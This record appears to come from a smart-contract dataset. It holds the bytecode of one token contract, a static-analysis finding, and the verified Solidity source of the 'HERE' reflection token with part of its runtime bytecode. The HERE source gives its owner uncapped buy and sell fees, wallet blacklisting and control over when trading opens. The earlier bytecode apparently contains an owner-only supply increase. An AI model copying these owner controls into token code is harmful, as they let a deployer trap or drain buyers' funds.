4b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab9061196b565b60405180910390fd5b6104d1856104c0610d9e565b85846104cc91906119ba565b610da6565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000012905090565b60006105a7610512610d9e565b848460056000610520610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105a291906119ee565b610da6565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610602610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461068f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068690611a90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f3c68edc89b5e5699277163f78238f970d734e722af6c7df4bc9402d9d2da9f2f60405160405180910390a36000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610785906118c7565b80601f01602080910402602001604051908101604052809291908181526020018280546107b1906118c7565b80156107fe5780601f106107d3576101008083540402835291602001916107fe565b820191906000526020600020905b8154815290600101906020018083116107e157829003601f168201915b5050505050905090565b60008060056000610817610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156108d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cb90611b22565b60405180910390fd5b6108f16108df610d9e565b8585846108ec91906119ba565b610da6565b600191505092915050565b6000610906610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610973575060011515600960009054906101000a900460ff161515145b156109ae5761098a610983610d9e565b8484610f71565b6000600960006101000a81548160ff02191690831515021790555060019050610b5d565b6109b6610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610a23575060001515600960009054906101000a900460ff161515145b15610b4657610a3d8260065461129590919063ffffffff16565b600681905550610a9582600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b3591906115cb565b60405180910390a360019050610b5d565b610b58610b51610d9e565b8484610f71565b600190505b92915050565b610b6b610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bef90611a90565b60405180910390fd5b60005b8151811015610c3a57610c27828281518110610c1a57610c19611b42565b5b60200260200101516112f3565b8080610c3290611b71565b915050610bfb565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ccd610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5190611a90565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0d90611c2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7d90611cbe565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f6491906115cb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd890611d50565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611051576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104890611de2565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110fe57600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166110fd57600080fd5b5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611185576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117c90611e74565b60405180910390fd5b818161119191906119ba565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461122391906119ee565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161128791906115cb565b60405180910390a350505050565b60008082846112a491906119ee565b9050838110156112e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e090611ee0565b60405180910390fd5b8091505092915050565b6112fb610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90611a90565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561141d578082015181840152602081019050611402565b8381111561142c576000848401525b50505050565b6000601f19601f8301169050919050565b600061144e826113e3565b61145881856113ee565b93506114688185602086016113ff565b61147181611432565b840191505092915050565b600060208201905081810360008301526114968184611443565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114dd826114b2565b9050919050565b6114ed816114d2565b81146114f857600080fd5b50565b60008135905061150a816114e4565b92915050565b6000819050919050565b61152381611510565b811461152e57600080fd5b50565b6000813590506115408161151a565b92915050565b6000806040838503121561155d5761155c6114a8565b5b600061156b858286016114fb565b925050602061157c85828601611531565b9150509250929050565b60008115159050919050565b61159b81611586565b82525050565b60006020820190506115b66000830184611592565b92915050565b6115c581611510565b82525050565b60006020820190506115e060008301846115bc565b92915050565b6000806000606084860312156115ff576115fe6114a8565b5b600061160d868287016114fb565b935050602061161e868287016114fb565b925050604061162f86828701611531565b9150509250925092565b600060ff82169050919050565b61164f81611639565b82525050565b600060208201905061166a6000830184611646565b92915050565b600060208284031215611686576116856114a8565b5b6000611694848285016114fb565b91505092915050565b6116a6816114d2565b82525050565b60006020820190506116c1600083018461169d565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61170482611432565b810181811067ffffffffffffffff82111715611723576117226116cc565b5b80604052505050565b600061173661149e565b905061174282826116fb565b919050565b600067ffffffffffffffff821115611762576117616116cc565b5b602082029050602081019050919050565b600080fd5b600061178b61178684611747565b61172c565b905080838252602082019050602084028301858111156117ae576117ad611773565b5b835b818110156117d757806117c388826114fb565b8452602084019350506020810190506117b0565b5050509392505050565b600082601f8301126117f6576117f56116c7565b5b8135611806848260208601611778565b91505092915050565b600060208284031215611825576118246114a8565b5b600082013567ffffffffffffffff811115611843576118426114ad565b5b61184f848285016117e1565b91505092915050565b6000806040838503121561186f5761186e6114a8565b5b600061187d858286016114fb565b925050602061188e858286016114fb565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806118df57607f821691505b602082108114156118f3576118f2611898565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006119556028836113ee565b9150611960826118f9565b604082019050919050565b6000602082019050818103600083015261198481611948565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006119c582611510565b91506119d083611510565b9250828210156119e3576119e261198b565b5b828203905092915050565b60006119f982611510565b9150611a0483611510565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611a3957611a3861198b565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611a7a6020836113ee565b9150611a8582611a44565b602082019050919050565b60006020820190508181036000830152611aa981611a6d565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611b0c6025836113ee565b9150611b1782611ab0565b604082019050919050565b60006020820190508181036000830152611b3b81611aff565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611b7c82611510565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611baf57611bae61198b565b5b600182019050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c166024836113ee565b9150611c2182611bba565b604082019050919050565b60006020820190508181036000830152611c4581611c09565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ca86022836113ee565b9150611cb382611c4c565b604082019050919050565b60006020820190508181036000830152611cd781611c9b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611d3a6025836113ee565b9150611d4582611cde565b604082019050919050565b60006020820190508181036000830152611d6981611d2d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611dcc6023836113ee565b9150611dd782611d70565b604082019050919050565b60006020820190508181036000830152611dfb81611dbf565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611e5e6026836113ee565b9150611e6982611e02565b604082019050919050565b60006020820190508181036000830152611e8d81611e51565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611eca601b836113ee565b9150611ed582611e94565b602082019050919050565b60006020820190508181036000830152611ef981611ebd565b905091905056fea2646970667358221220db71630db5290055591ce39ac32bf65551fe590ee5bc81386bb4b772b8bf8e4c64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
10,480
0x3ae2505998bb75eebe7ba354d43cafa7b867cf94
/** *Submitted for verification at Etherscan.io on 2022-02-16 */ /* Welcome to Here https://t.me/HereToken */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract HERE is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "#Here"; string private constant _symbol = "HERE"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 7; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 7; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x42744f52F63e444B04FEd8f68067F35DcC884c59); address payable private _marketingAddress = payable(0x42744f52F63e444B04FEd8f68067F35DcC884c59); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000000 * 10**9; uint256 public _maxWalletSize = 200000000 * 10**9; uint256 public _swapTokensAtAmount = 100000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function openTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function swap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setmaxTx(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637f2feddc116100f7578063b0c2b56111610095578063dd62ed3e11610064578063dd62ed3e14610550578063ea1644d514610596578063f2fde38b146105b6578063fc342279146105d657600080fd5b8063b0c2b561146104cb578063bfd79284146104eb578063c3c8cd801461051b578063c492f0461461053057600080fd5b806395d89b41116100d157806395d89b411461043e57806398a5c3151461046b578063a2a957bb1461048b578063a9059cbb146104ab57600080fd5b80637f2feddc146103dd5780638da5cb5b1461040a5780638f9a55c01461042857600080fd5b80632fd689e31161016f5780636fc3eaec1161013e5780636fc3eaec1461037d57806370a0823114610392578063715018a6146103b25780637d1db4a5146103c757600080fd5b80632fd689e31461030b578063313ce5671461032157806349bd5a5e1461033d5780636b9990531461035d57600080fd5b80631694505e116101ab5780631694505e1461026e57806318160ddd146102a657806323b872dd146102cb5780632a9b8072146102eb57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195a565b6105f6565b005b34801561020a57600080fd5b50604080518082019091526005815264234865726560d81b60208201525b6040516102359190611a1f565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611a74565b610695565b6040519015158152602001610235565b34801561027a57600080fd5b5060145461028e906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102b257600080fd5b50678ac7230489e800005b604051908152602001610235565b3480156102d757600080fd5b5061025e6102e6366004611aa0565b6106ac565b3480156102f757600080fd5b506101fc610306366004611af1565b610715565b34801561031757600080fd5b506102bd60185481565b34801561032d57600080fd5b5060405160098152602001610235565b34801561034957600080fd5b5060155461028e906001600160a01b031681565b34801561036957600080fd5b506101fc610378366004611b0c565b61075d565b34801561038957600080fd5b506101fc6107a8565b34801561039e57600080fd5b506102bd6103ad366004611b0c565b6107f3565b3480156103be57600080fd5b506101fc610815565b3480156103d357600080fd5b506102bd60165481565b3480156103e957600080fd5b506102bd6103f8366004611b0c565b60116020526000908152604090205481565b34801561041657600080fd5b506000546001600160a01b031661028e565b34801561043457600080fd5b506102bd60175481565b34801561044a57600080fd5b506040805180820190915260048152634845524560e01b6020820152610228565b34801561047757600080fd5b506101fc610486366004611b29565b610889565b34801561049757600080fd5b506101fc6104a6366004611b42565b6108b8565b3480156104b757600080fd5b5061025e6104c6366004611a74565b6108f6565b3480156104d757600080fd5b506101fc6104e6366004611b29565b610903565b3480156104f757600080fd5b5061025e610506366004611b0c565b60106020526000908152604090205460ff1681565b34801561052757600080fd5b506101fc610932565b34801561053c57600080fd5b506101fc61054b366004611b74565b610986565b34801561055c57600080fd5b506102bd61056b366004611bf8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105a257600080fd5b506101fc6105b1366004611b29565b610a27565b3480156105c257600080fd5b506101fc6105d1366004611b0c565b610a56565b3480156105e257600080fd5b506101fc6105f1366004611af1565b610b40565b6000546001600160a01b031633146106295760405162461bcd60e51b815260040161062090611c31565b60405180910390fd5b60005b81518110156106915760016010600084848151811061064d5761064d611c66565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068981611c92565b91505061062c565b5050565b60006106a2338484610b88565b5060015b92915050565b60006106b9848484610cac565b61070b843361070685604051806060016040528060288152602001611dac602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111e8565b610b88565b5060019392505050565b6000546001600160a01b0316331461073f5760405162461bcd60e51b815260040161062090611c31565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146107875760405162461bcd60e51b815260040161062090611c31565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6012546001600160a01b0316336001600160a01b031614806107dd57506013546001600160a01b0316336001600160a01b0316145b6107e657600080fd5b476107f081611222565b50565b6001600160a01b0381166000908152600260205260408120546106a69061125c565b6000546001600160a01b0316331461083f5760405162461bcd60e51b815260040161062090611c31565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b35760405162461bcd60e51b815260040161062090611c31565b601855565b6000546001600160a01b031633146108e25760405162461bcd60e51b815260040161062090611c31565b600893909355600a91909155600955600b55565b60006106a2338484610cac565b6000546001600160a01b0316331461092d5760405162461bcd60e51b815260040161062090611c31565b601655565b6012546001600160a01b0316336001600160a01b0316148061096757506013546001600160a01b0316336001600160a01b0316145b61097057600080fd5b600061097b306107f3565b90506107f0816112e0565b6000546001600160a01b031633146109b05760405162461bcd60e51b815260040161062090611c31565b60005b82811015610a215781600560008686858181106109d2576109d2611c66565b90506020020160208101906109e79190611b0c565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a1981611c92565b9150506109b3565b50505050565b6000546001600160a01b03163314610a515760405162461bcd60e51b815260040161062090611c31565b601755565b6000546001600160a01b03163314610a805760405162461bcd60e51b815260040161062090611c31565b6001600160a01b038116610ae55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610620565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610b6a5760405162461bcd60e51b815260040161062090611c31565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b038316610bea5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610620565b6001600160a01b038216610c4b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610620565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d105760405162461bcd60e51b815260206004820152602560248201527